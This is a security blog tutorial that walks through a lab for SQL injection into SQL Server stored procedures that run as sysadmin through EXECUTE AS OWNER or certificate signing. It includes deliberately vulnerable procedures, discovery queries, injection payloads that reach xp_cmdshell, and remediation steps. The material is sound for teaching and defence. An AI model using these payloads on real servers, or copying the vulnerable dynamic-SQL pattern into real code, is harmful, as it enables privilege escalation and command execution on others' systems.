NetSPI Blog

Hacking SQL Server Stored Procedures – Part 3: SQL Injection

Scott Sutherland
January 12th, 2015

Introduction

If you read the first two blogs in this series then you already know that SQL Server roles and privileges can be misconfigured in ways that allow users to escalate their privileges to a sysadmin (database administrator). Even when those roles and privileges are configured correctly, sometimes stored procedures can still be a threat. In this blog I’ve covered how SQL injection can be identified and exploited to escalate privileges in SQL Server stored procedures when they are configured to execute with higher privileges using the WITH EXECUTE AS clause or certificate signing. I’ve also provided a lab setup guide for those of you who want to try this at home. To my knowledge this work with SQL Server 2005 to 2014. This should be interesting to penetration testers, application developers, and dev-ops. Feel free to jump down to the attack section if you’re not big on labs. 🙂

Below is a summary of the topics being covered:

SQL Injection Primer

If you’re not familiar with SQL injection I thought it would make sense to provide a little definition. OWASP defines SQL injection as an “…attack that consists of insertion or “injection” of a SQL query via the input data from the client to the application”. This holds true when attacking stored procedures in SQL Server as well, but with at least one noticeable difference. To my knowledge injection into stored procedures is only possible when dynamic SQL is being used in the procedure. Luckily (for attackers) it’s actually pretty common for developers to use dynamic SQL in procedures, because it allows them to create and execute flexible queries on the fly. It only becomes a problem when variables can be controlled by an attacker and they are not parameterized. That issue is amplified when procedures are configured to run as a sysadmin login, because they can be used by attackers to escalate their privilege to a sysadmin as well.

For more information on SQL injection take a look at https://www.owasp.org/index.php/SQL_Injection. Also, here are some of Microsoft’s recommendations for safe dynamic SQL http://msdn.microsoft.com/en-us/library/bb669091(v=vs.110).aspx.

Setting up the Lab Environment

Below I’ve provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenarios covered in this blog/lab.

  1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
  2. Install SQL Server by following the wizard, but make sure to choose mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
  3. Log into the SQL Server with the SA account setup during installation using the SQL Server Management Studio application.
  4. Press the “New Query” button and use the TSQL below to create a least privilege login.
    -- Select database
    USE master
    GO
    
    -- Create login
    CREATE LOGIN MyUser WITH PASSWORD = 'MyPassword!';
    GO
    
    -- Set login’s default database
    ALTER LOGIN [MyUser] with default_database = [master];
    GO
    
  5. Set the “master” database as trustworthy. Configuring a database as trusted using the “is_trustworthy_on” flag allows certain objects within the database to access external resources like network shares, mail functions, and objects in other databases that are on the same SQL Server instance. This flag is set to disabled by default (except MSDB), but some DBAs still choose to enable it for a number of reasons. For the purpose of this lab, we will be enabling it so we can execute operating system commands via xp_cmdshell from within stored procedures setup using the WITH EXECUTE AS OWNER (sa in this case). However, it should be noted the setting also affects CLR-based stored procedures, UDFs, and Triggers. For more information on the “is_trustworthy_on” flag you can take a look at http://support.microsoft.com/kb/2183687.First, configure the “MASTER” database as trustworthy.
    ALTER DATABASE master SET TRUSTWORTHY ON
    

    Then verify that the configuration was set with the following query.

    SELECT a.name,b.is_trustworthy_on
    FROM master..sysdatabases as a
    INNER JOIN sys.databases as b
    ON a.name=b.name;
    

    Below is a screenshot of the expected result.

    1

  6. Use the TSQL below to enable xp_cmdshell. Enabling this now will simplify the labs later, but it could be enabled by an attacker even if we didn’t enable it.
    -- Enable show options
    EXEC sp_configure 'show advanced options',1
    RECONFIGURE
    GO
    
    -- Enable xp_cmdshell
    EXEC sp_configure 'xp_cmdshell',1
    RECONFIGURE
    GO
    

Creating a Vulnerable Stored Procedure using WITH EXECUTE AS

In this section we’ll create the first vulnerable stored procedure. This one will use the WITH EXECUTE AS clause to run as a sysadmin. It will also be configured to use dynamic SQL that is vulnerable to SQL injection. Follow the instructions below to get it setup.

  1. Log into the SQL Server with the “sa” login and create the vulnerable stored procedure using the TSQL below. The stored procedure will return a list of database names that match the search string passed to it, as well as the “tempdb” database.
    -- Select the target database
    USE MASTER;
    GO
    
    -- Create procedure
    CREATE PROCEDURE sp_sqli
    @DbName varchar(max)
    WITH EXECUTE AS OWNER
    AS
    BEGIN
    Declare @query as varchar(max)
    SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb''';
    EXECUTE(@query)
    END
    GO
    
    -- Allow members of PUBLIC to execute it
    GRANT EXECUTE ON sp_sqli to PUBLIC
    
  2. Run the query below to test the sp_sqli procedure. It should return the “master” and “tempdb” databases.
    -- Select the target database
    USE MASTER;
    GO
    
    -- Test stored procedure
    EXEC master..sp_sqli 'mast'
    

    2

Finding Potentially Vulnerable Stores Procedures using WITH EXECUTE AS

In this section I’ve provided a basic process for finding custom stored procedures that use the WITH EXECUTE AS clause and may be vulnerable to SQL injection.  Please be aware that not all logins/database users will have the privileges required to view the source of all stored procedures. However, from a blue team perspective this is a nice way to quickly identify low hanging fruit. For the sake of simplicity just run these queries using the “sa” login.

  1. Finding Databases that are Trusted and Owned by a Sysadmin
    You should really review all of the databases, but databases owned by sysadmins are a good place to start if you’re tight on time, because any procedures that use the WITH EXECUTE AS OWNER clause will automatically be running as a sysadmin. In the example below you should only see the “MASTER” database returned by the query.

    SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME
    FROM sys.server_principals r
    INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
    INNER JOIN sys.server_principals p ON
    p.principal_id = m.member_principal_id
    inner join sys.databases d on suser_sname(d.owner_sid) = p.name
    WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'
    

    3

  2. Finding Custom Stored Procedures
    The query below will return a list of functions and stored procedures for the target database. In this case, “MASTER” is being used, but in the real world you’ll want to swap it out for your target database name. In this lab you should see “sp_sqli” returned by the query.

    -- Select stored procedures from master database
    SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
    FROM MASTER.INFORMATION_SCHEMA.ROUTINES
    ORDER BY ROUTINE_NAME
    

    4

  3. Finding Custom Stored Procedures using WITH EXECUTE AS
    By default stored procedures are configured to run as the caller. In other words, the login used to execute it. However, stored procedures can also be created to execute with another login’s privileges. Below are the five options, but we will be focusing on OWNER in our attack later. For more information visit http://msdn.microsoft.com/en-us/library/ms188354.aspx.

    • WITH EXECUTE AS OWNER: Meaning the owner of the procedure
    • WITH EXECUTE AS SELF: Meaning the creator/modifier of the procedure
    • WITH EXECUTE AS ‘USERNAME’: Meaning a specific database user
    • WITH EXECUTE AS LOGIN: Meaning a specific login
    • WITH EXECUTE AS CALLER: Meaning the database user executing the procedure

    Below is a query that should only return stored procedures using the WITH EXECUTE AS clause. You should see sp_sqli in the list.

    -- Stored procedures that use WITH EXECUTE AS clause
    SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
    FROM MASTER.INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_DEFINITION
    LIKE '%WITH EXECUTE AS%'
    ORDER BY ROUTINE_NAME
    

    5

  4. Finding Stored Procedures that use the WITH EXECUTE AS and Dynamic SQL
    The query below will go a little further than our last step. It will actually locate stored procedures in the “master” database using dynamic SQL that are configured to use the WITH EXECUTE AS clause. You should only see “sp_sqli” in the list again.

    -- Stored procedures with Dynamic SQL and EXECUTE AS
    SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
    FROM MASTER.INFORMATION_SCHEMA.ROUTINES
    WHERE ROUTINE_DEFINITION like '%WITH EXECUTE AS%' AND
    (ROUTINE_DEFINITION like '%sp_executesql%' OR
    ROUTINE_DEFINITION like '%sp_sqlexec%' OR
    ROUTINE_DEFINITION like '%exec @%' OR
    ROUTINE_DEFINITION like '%exec (%' OR
    ROUTINE_DEFINITION like '%exec(%' OR
    ROUTINE_DEFINITION like '%execute @%' OR
    ROUTINE_DEFINITION like '%execute (%' OR
    ROUTINE_DEFINITION like '%execute(%' OR
    ROUTINE_DEFINITION like '%''''''+%' OR
    ROUTINE_DEFINITION like '%'''''' +%')
    ORDER BY ROUTINE_NAME
    

    6

It might be worth noting that some applications may have thousands of custom stored procedures. So if you don’t feel like taxing a production server you can simply export them and grep for the same keywords you see in the query. SQL Server Management Studio will allow you to save all results as an excel file, but if you’re looking for a more scriptable option you can use the little PowerShell script I wrote for exporting stored procedure code from all accessible databases. The script can be downloaded from: https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Get-SqlServer-Escalate-SpSource.psm1

Below is a basic command example.

PS C:\temp> Import-Module .\Get-SqlServer-Escalate-SpSource.psm1 -Force
PS C:\temp> Get-SqlServer-Escalate-SpSource -SQLServerInstance 172.16.54.229\standard -SqlUser sa -SqlPass MyPassword!

Below is a sample screen shot of expected results. Note: The script doesn’t search the TempDB, MSDB, or Model database for custom stored procedures.

7

After the script is run it exports all of the stored procedures into a csv file and .sql files.

8

Creating a Vulnerable Stored Procedure Signed with a Certificate

Another way to provide stored procedures with privileges to access objects external to the current database is by signing them with a certificate. Some of the advantages include allowing a least privilege login to execute the stored procedure with elevated privileges WITHOUT having to:

  • Assign logins excessive privileges directly to logins/roles. For example, db_owner or sysadmin.
  • Assign logins excessive IMPERSONATE privileges used to impersonate users and logins on demand with the EXECUTE AS command.
  • Configure the stored procedure to run as another login using the WITH EXECUTE AS clause.
  • Flag the database as trustworthy, which could weaken other controls.

All those things are great and give me a warm fuzzy feeling. However, at the end of the day if a signed procedure uses variables that aren’t parametrized and the attacker has control over at least one of them then it’s still likely to be vulnerable to SQL injection.

Ok, enough of my yammering, let’s build a vulnerable procedure signed with a certificate using the instructions below.

    1. Create a new stored procedure in the current database named “sp_sqli2”.
      -- Set target database
      USE MASTER;
      GO
      
      -- Create procedure
      CREATE PROCEDURE sp_sqli2
      @DbName varchar(max)
      AS
      BEGIN
      Declare @query as varchar(max)
      SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb''';
      EXECUTE(@query)
      END
      GO
      
    2. Create a master key for the database.
      -- Create a master key for the database
      CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'SuperSecretPasswordHere!';
      GO
      
    3. Create certificate for the “sp_sqli2” procedure. This can be configured with a password, but for the sake of simplicity I left it out.
      -- Create certificate for the sp_sqli2 procedure
      CREATE CERTIFICATE sp_sqli2_cert
      WITH SUBJECT = 'This should be used to sign the sp_sqli2',
      EXPIRY_DATE = '2050-10-20';
      GO
      
    4. Create a new login named “sp_sqli2_login” from the “sp_sqli2_cert” certificate. No password is defined for the login for the sake of simplicity, but in the real world one should be set.
      -- Create cert login
      CREATE LOGIN sp_sqli2_login
      FROM CERTIFICATE sp_sqli2_cert
      
    5. Sign the “sp_sqli2” stored procedure with the new “sp_sqli2_cert” certificate. This can use a password, but for the sake of simplicity I left it out.
      -- Add cert to stored procedure
      ADD SIGNATURE to sp_sqli2
      BY CERTIFICATE sp_sqli2_cert;
      Go
      
    6. Add the “sp_sqli2_login” login to the sysadmins role.
      -- Add sp_sqli2_login to sysadmin fixed server role
      EXEC master..sp_addsrvrolemember @loginame = N'sp_sqli2_login', @rolename = N'sysadmin'
      GO
      
    7. Allow members of the PUBLIC role to execute it.
      GRANT EXECUTE ON sp_sqli2 to PUBLIC
      

For more information on signing procedures with certificates check out the Microsoft site at http://msdn.microsoft.com/en-us/library/bb283630.aspx.

Finding Potentially Vulnerable Stored Procedures Signed with a Certificate

In this section I’ll provide a basic process for finding procedures signed with a certificate that may be vulnerable to SQL injection.   Please note that not all logins/database users will have the privileges required to view the source of all stored procedures. However, from a blue team perspective these are a nice way to quickly identify low hanging fruit. For the sake of simplicity just run these queries using the “sa” login.

  1. If you are interested in taking a quick look at which logins were created from a certificate then you can use the query below.
    select * from sys.server_principals where type = 'C'
    

    It should return something like the results in the screenshot below.

    9

  2. Now let’s try finding procedures signed with a certificate for the current database that also have logins that were generated from them.
    -- Select target database
    USE MASTER
    GO
    
    -- Get procedure location, name, source, cert name, and cert login - 2k5 only?
    SELECT
    spr.ROUTINE_CATALOG as DB_NAME,
    spr.SPECIFIC_SCHEMA as SCHEMA_NAME,
    spr.ROUTINE_NAME as SP_NAME,
    spr.ROUTINE_DEFINITION as SP_CODE,
    CASE cp.crypt_type
    when 'SPVC' then cer.name
    when 'CPVC' then Cer.name
    when 'SPVA' then ak.name
    when 'CPVA' then ak.name
    END as CERT_NAME,
    sp.name as CERT_LOGIN,
    sp.sid as CERT_SID
    FROM sys.crypt_properties cp
    JOIN sys.objects o ON cp.major_id = o.object_id
    LEFT JOIN sys.certificates cer ON cp.thumbprint = cer.thumbprint
    LEFT JOIN sys.asymmetric_keys ak ON cp.thumbprint = ak.thumbprint
    LEFT JOIN INFORMATION_SCHEMA.ROUTINES spr on spr.ROUTINE_NAME = o.name
    LEFT JOIN sys.server_principals sp on sp.sid = cer.sid
    WHERE o.type_desc = 'SQL_STORED_PROCEDURE'
    ORDER BY CERT_NAME
    

    The expected results should include the “sp_sqli2” stored procedure and look something like the screenshot below.

    10

  3. To take it a little further now we can expand the query and search for stored procedures that also appear to contain dynamic SQL.
    -- Get procedure location, name, source, cert name, and cert login, with dynamic SQL
    SELECT spr.ROUTINE_CATALOG as DB_NAME,
    spr.SPECIFIC_SCHEMA as SCHEMA_NAME,
    spr.ROUTINE_NAME as SP_NAME,
    spr.ROUTINE_DEFINITION as SP_CODE,
    CASE cp.crypt_type
    when 'SPVC' then cer.name
    when 'CPVC' then Cer.name
    when 'SPVA' then ak.name
    when 'CPVA' then ak.name
    END as CERT_NAME,
    sp.name as CERT_LOGIN,
    sp.sid as CERT_SID
    FROM sys.crypt_properties cp
    JOIN sys.objects o ON cp.major_id = o.object_id
    LEFT JOIN sys.certificates cer ON cp.thumbprint = cer.thumbprint
    LEFT JOIN sys.asymmetric_keys ak ON cp.thumbprint = ak.thumbprint
    LEFT JOIN INFORMATION_SCHEMA.ROUTINES spr on spr.ROUTINE_NAME = o.name
    LEFT JOIN sys.server_principals sp on sp.sid = cer.sid
    WHERE o.type_desc = 'SQL_STORED_PROCEDURE'AND
    (ROUTINE_DEFINITION like '%sp_executesql%' OR
    ROUTINE_DEFINITION like '%sp_sqlexec%' OR
    ROUTINE_DEFINITION like '%exec @%' OR
    ROUTINE_DEFINITION like '%exec (%' OR
    ROUTINE_DEFINITION like '%exec(%' OR
    ROUTINE_DEFINITION like '%execute @%' OR
    ROUTINE_DEFINITION like '%execute (%' OR
    ROUTINE_DEFINITION like '%execute(%' OR
    ROUTINE_DEFINITION like '%''''''+%' OR
    ROUTINE_DEFINITION like '%'''''' +%')
    ORDER BY CERT_NAME,ROUTINE_NAME
    

    The expected result is shown in the screenshot below.

    11

Attacking the Stored Procedures

Below I’ve provided some basic exercises to get you familiar with the SQL injection into stored procedures.

Before we start

The goal of this lab is to escalate our privileges in SQL Server by exploiting stored procedures that use the WITH EXECUTE AS OWNER clause and certificate signatures. However, I also want show how the trustworthy flag affects our results. So for now let’s turn it off. Make sure to disable it with the “sa” login.

ALTER DATABASE MASTER SET TRUSTWORTHY OFF

Note: Make sure to login with the “MyUser” login for all of the labs below.

  • Test the Basic Functionality
    Run the query below to get the expected output of the “sp_sqli” and “sp_sqli2” stored procedures. This is just to make sure everything is working.

    EXEC MASTER.dbo.sp_sqli 'master'
    EXEC MASTER.dbo.sp_sqli2 'master'
    

    You should see the same results for both stored procedures. Below is a screenshot of the expected result.

    12

  • Injection 1: Commenting
    The injection below should comment out the “OR” and only return the “master” database. This is a basic example of SQL injection.

    EXEC MASTER.dbo.sp_sqli 'master''--'
    EXEC MASTER.dbo.sp_sqli2 'master''--'
    

    You should see the same results for both of the stored procedures. Below is a screenshot of the expected result.

    13

  • Injection 2: Verifying execution as another user
    The injection below will return the user context running outside and inside of the stored procedures.

    -- Show current login outside of sp
    SELECT 'OUTSIDE SP USER: '+SYSTEM_USER
    
    -- Show login impersonation inside sp_sqli
    EXEC MASTER.dbo.sp_sqli 'master'';SELECT ''INSIDE SP USER: ''+SYSTEM_USER as executesp--'
    
    -- Show login impersonation inside sp_sqli2
    EXEC MASTER.dbo.sp_sqli2 'master'';SELECT ''INSIDE SP USER: ''+SYSTEM_USER as certsp--'
    

    Below is a screenshot of the expected result.

    14

    “MyUser” should be returned outside the stored procedure. You should also notice that inside the “sp_sqli” procedure (WITH EXECUTE AS OWNER) is running as the “sa” login.   However, the “sp_sqli2” procedure (signed) still appears to be running as “MyUser”. As we’ll see in a moment this is not always reflective of the privilege we actually have inside the stored procedures.

  • Injection 3: Verify sysadmin privileges
    The injection below will return the sysadmin status outside and inside of the stored procedures. 1 means the current login has sysadmin privileges, and a 0 means it doesn’t.

    -- Check if current user is a sysadmin outside sp
    SELECT is_srvrolemember('sysadmin') as priv_outside;
    
    -- Check if EXCUTE AS user is a sysadmin inside sp_sqli
    EXEC MASTER.dbo.sp_sqli 'master'';SELECT is_srvrolemember(''sysadmin'') as priv_execsp--';
    
    -- Check if EXCUTE AS user is a sysadmin inside sp_sqli2
    EXEC MASTER.dbo.sp_sqli2 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--';
    

    Below is a screenshot of the expected result.

    15

    You should notice that the “sp_sqli” procedure returns a 0 even though it’s running as the “sa” login. That’s because the “master” is not set as trustworthy. Conversely, we can see that the signed procedure “sp_sqli2” can execute with elevated privileges even though the trustworthy flag has not been set in the “master” database.

  • Injection 4: OS command execution
    First let’s verify that we can simply execute the “xp_cmdshell” procedure as the current user “MyUser”.

    -- Attempt to execute xp_cmdshell outside the sp
    EXEC master..xp_cmdshell 'whoami';
    

    Below is a screenshot of the expected result.

    16

    You should be see some type of access denied error. Now let’s try that inside the “sp_sqli” procedure.

    -- Attempt to execute xp_cmdshell inside the sp_sqli
    EXEC MASTER.dbo.sp_sqli 'master'';EXEC master..xp_cmdshell ''whoami''';
    

    Below is a screen shot of the expected result.

    17

    Once again we are getting access denied, because the trustworthy flag has not been set on the “master” database. Finally, let’s try the same injection on the signed procedure “sp_sqli2”.

    -- Attempt to execute xp_cmdshell inside the sp_sqli2
    EXEC MASTER.dbo.sp_sqli2 'master'';EXEC master..xp_cmdshell ''whoami''--';
    

    Below is a screenshot of the expected output.

    18

    This time it works! I think the conclusion here is that although signing is the best option overall, it still comes with its own risks, because it doesn’t require the trustworthy flag to be set.

  • Injection 5: OS command execution in a trustworthy database
    Ok, let’s sign in as “sa” and set the “MASTER “database to trustworthy again.

    ALTER DATABASE MASTER SET TRUSTWORTHY ON
    

    Now let’s try that command execution inside the “sp_sqli” procedure again. This time it should work!

    -- Attempt to execute xp_cmdshell inside the sp
    EXEC MASTER.dbo.sp_sqli 'master'';EXEC master..xp_cmdshell ''whoami''--';
    

    Below is a screen shot of the expected result.

    19

    Tada! As you can see when you’re trying to escalate privileges using a stored procedure that uses the “WITH EXECUTE AS” clause the trustworthy setting makes a big difference.

Fixing the Stored Procedures

Microsoft has some pretty good recommendations to help prevent these types of attacks so I recommend checking out their web site for more information. Naturally, the fixes will vary depending on the environment, application, and use cases, but below are a few options to get you started.

  1. Use parameterized queries in stored procedures to help prevent SQL injection. Below is an example of how to fix the first stored procedure from the lab. Removals in read, and additions are in black. Sign in as “sa” login to create it.
    -- Create procedure with sqli fix
    CREATE PROCEDURE sp_sqli_fix
    @DbName varchar(max)
    WITH EXECUTE AS OWNER
    AS
    BEGIN
    SELECT name FROM master..sysdatabases WHERE name = 'tempdb' OR name = @DbName;
    END
    GO
    
    -- Allow members of PUBLIC to execute it
    GRANT EXECUTE ON sp_sqli_fix to PUBLIC
    

    Now when we attempt to inject SQL into the “sp_sqli_fix” procedure with the “MyUser” login the injection fails and only the tempdb is returned.

    -- Check if EXCUTE AS user is a sysadmin inside sp_sqli_fix
    EXEC MASTER.dbo.sp_sqli_fix 'master'';SELECT is_srvrolemember(''sysadmin'') as priv_execsp--';
    

    Expect results shown in the screenshot below.

    20

  2. If it’s possible, set TRUSTWORTHY to off for the affected databases (excluding MSDB). This will help prevent the execution of xp_cmdshell and other bad things from within stored procedures that use WITH EXECUTE AS. It will also enforce a sandbox that only allows the stored procedure to access information associated with its own database.
    ALTER DATABASE master SET TRUSTWORTHY OFF
    

    Note: Be careful, there are some legit use cases for this and you could end up breaking things! So make sure you know what you’re doing.

  3. Make sure custom stored procedures aren’t owned by sysadmins. For example, if the database owner of an application database is a sysadmin consider changing the owner to an account with less privilege so stored procedures using WITH EXECUTE AS OWNER will have less impact if other vulnerabilities exist.
  4. Don’t assign the PUBLIC role with execute privileges on custom stored procedures. Only assign it to users or roles that require it. This will help prevent low privileged users from accessing potentially dangerous custom stored procedures.
    REVOKE EXECUTE ON sp_sqli to PUBLIC
    
  5. Use stored procedures signed with certificates instead of the WITH EXECUTE AS clause when possible. It’s worth it for all the reasons I provided when we created the “sp_sqli2” stored procedure earlier in this blog.

Wrap Up

The issues covered in this blog/lab were intended to help pentesters, developers, and dev-ops understand how a few common misconfigurations and coding mistakes can lead to the compromise of an entire SQL Server instance via stored procedure SQL injection. It’s worth noting that the same techniques can be used via SQL injection through a web or thick application. I just thought it would be easier to understand if it was exploited via a direct database connection. Hopefully the information is useful. Have fun with it, and don’t forget to hack responsibly. 🙂

PS: For those of you looking to reset your lab when you’re all done use the TSQL below:

USE MASTER
GO
drop proc sp_sqli
drop proc sp_sqli2
drop login sp_sqli2_login
drop login myuser
drop certificate sp_sqli2_cert
drop master key

Other Blogs in this Series

References

1
Leave a Reply

avatar
1 Comment threads
0 Thread replies
0 Followers
 
Most reacted comment
Hottest comment thread
0 Comment authors
Hacking SQL Server Stored Procedures – Part 3: SQL Injection | infopunk.org Recent comment authors

This site uses Akismet to reduce spam. Learn how your comment data is processed.

  Subscribe  
newest oldest
Notify of